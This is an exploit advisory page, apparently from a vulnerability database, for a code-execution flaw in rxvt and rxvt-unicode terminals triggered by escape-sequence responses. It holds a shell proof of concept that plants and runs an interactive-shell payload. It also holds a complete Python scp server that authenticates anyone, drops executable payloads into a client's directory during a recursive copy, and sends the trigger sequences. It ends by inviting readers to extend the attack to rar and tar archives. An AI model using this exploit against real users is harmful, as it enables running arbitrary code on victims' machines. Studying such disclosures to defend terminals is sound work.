rxvt 2.7.0 / rxvt-unicode 9.22 Code Execution

Credit: def
Risk: High
Local: Yes
Remote: No

#!/usr/bin/env python # Title: rxvt (remote) code execution over scp with $SHELL=/bin/bash (0day) # Version: rxvt 2.7.10, rxvt-unicode 9.22 # Author: def <def@huumeet.info> # Date: 2021-05-16 # CVE: N/A # #------------------------------------------------------------------------------ # (U)RXVT VULNERABILITY # # In rxvt-based terminals, ANSI escape sequence ESC G Q (\eGQ, \033GQ, \x1bGQ) # queries the availability of graphics and the response is received from stdin. # However, rxvt responds to the query with a newline-terminated message, which # is retarded and exposes goatse-wide gaping security holes in many popular CLI # programs when executed inside an rxvt terminal window. # # [def@arch ~]$ printf '\eGQ' # ^[G0 # [def@arch ~]$ 0 # bash: 0: command not found # # The latter command (i.e., 0) executes automatically without user interaction. # The contents of the second command can be somewhat controlled by chaining the # printf message with other escape sequences. In particular, a VT52 mode escape # sequence \eZ prepends a letter Z and triggers bash's tab completion, allowing # the construction of relative paths and, therefore, code execution in the form # of running (planted) files from subdirectories in the current directory. # # URXVT (+BASH) CODE EXECUTION PROOF-OF-CONCEPT ------------------------------- # # % mkdir -p ZZZ && echo 'uname -a; id; date; sh -i' >ZZZ/0 && chmod +x ZZZ/0 # % urxvt -e bash # # [def@arch ~]$ printf '\e[?2l\eZ\e<\eGQ' # ^[/Z^[G0 # [def@arch ~]$ ZZZ/0 # Linux 5.11.1-arch-1 #1 SMP PREEMPT Tue, 23 Feb 2021 14:05:30 x86_64 GNU/Linux # uid=1000(def) gid=1001(def) groups=1001(def),43(tor),998(wheel),999(adm) # Sun Apr 18 04:25:22 AM EEST 2021 # sh-5.1$ # # FIX ------------------------------------------------------------------------- # # Don't use rxvt or any of its derivatives. Stay the fuck away from xterm also. # # st(1) is a viable solution if you ever plan to `cat /var/log/access.log` or # otherwise handle untrusted data from questionable sources. # #------------------------------------------------------------------------------ import logging import paramiko import socket import threading logging.basicConfig(level=logging.INFO) """ This script implements a scp server that exploits insecure ANSI escape sequence handling in client's (u)rxvt terminal (and bash shell). A recursive (-r) copy into the current directory leads to code execution. For example: $ scp -r -P2222 user@localhost:/backup/or/whatever/ . The above command transfers payload files ZZZ/0, ZZZ/1 and ZZZ/Z0 to the client and executes one of them (the executed payload depends on the rxvt version). """ bind = ('localhost', 2222) payload = '#!/bin/sh\nuname -a; id; date; sh -i\n' class ScpExploitServer(paramiko.ServerInterface): def __init__(self): self.event = threading.Event() def get_allowed_auths(self, username): return "password" def check_auth_none(self, username): logging.info('Authenticating as %s', username) return paramiko.AUTH_SUCCESSFUL def check_auth_password(self, username, password): logging.info('Authenticating with %s:%s', username, password) return paramiko.AUTH_SUCCESSFUL def check_channel_request(self, kind, chanid): logging.info('Opening %s channel %d', kind, chanid) if kind != "session": return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED return paramiko.OPEN_SUCCEEDED def check_channel_exec_request(self, channel, command): chanid, command = channel.get_id(), command.decode('ascii') logging.info('Approving channel %d exec request: %s', chanid, command) parts = command.split() assert len(parts) > 2 and parts[0] == 'scp' and '-f' in parts threading.Thread(target=self.exploit, args=[channel]).start() return True def exploit(self, channel): def wait(): assert channel.recv(4096) == b'\x00' def send(): channel.sendall(b'\x00') fdir, fname0, fname1, fname2 = 'ZZZ', '0', '1', 'Z0' wait() # (1) Create subdirectory './ZZZ/' logging.info('Enter "%s/" (channel %d)', fdir, channel.get_id()) command = 'D0755 0 {}\n'.format(fdir).encode('ascii') channel.sendall(command) wait() # (2) Save the payload as './ZZZ/0', './ZZZ/1' and './ZZZ/Z0' logging.info('Send file "%s" (channel %d)', fname0, channel.get_id()) command = 'C0755 {} {}\n'.format(len(payload), fname0).encode('ascii') channel.sendall(command) wait() channel.sendall(payload) send() wait() #channel.sendall_stderr("\x1b[1A".encode('ascii')) logging.info('Send file "%s" (channel %d)', fname1, channel.get_id()) command = 'C0755 {} {}\n'.format(len(payload), fname1).encode('ascii') channel.sendall(command) wait() channel.sendall(payload) send() wait() #channel.sendall_stderr("\x1b[1A".encode('ascii')) logging.info('Send file "%s" (channel %d)', fname2, channel.get_id()) command = 'C0755 {} {}\n'.format(len(payload), fname2).encode('ascii') channel.sendall(command) wait() channel.sendall(payload) send() wait() # (3) Run the payload with ANSI escapes sequences (in (u)rxvt + bash) channel.sendall_stderr("\033[?2l\033Z\033<\033GQ".encode('ascii')) channel.sendall_stderr("\x1b[1A".encode('ascii')) channel.close() if __name__ == '__main__': logging.info('Creating a temporary RSA host key ...') host_key = paramiko.rsakey.RSAKey.generate(1024) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(bind) sock.listen(0) logging.info('Listening at %s:%d ...', bind[0], bind[1]) while True: try: client, addr = sock.accept() logging.info('Received connection from %s:%s', *addr) transport = paramiko.Transport(client) transport.add_server_key(host_key) transport.start_server(server=ScpExploitServer()) except Exception as ex: logging.error('Connection closed: %s', ex) except KeyboardInterrupt: logging.info('Stopping server') break #------------------------------------------------------------------------------ # EXERCISE FOR THE READER # # Achieve code execution in `unrar x foo.rar` / `busybox tar -xvf bar.tar` with # an archive containing payload(s) and a trigger file named "\e[?2l\eZ\e<\eGQ". # #------------------------------------------------------------------------------

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com


Back to Top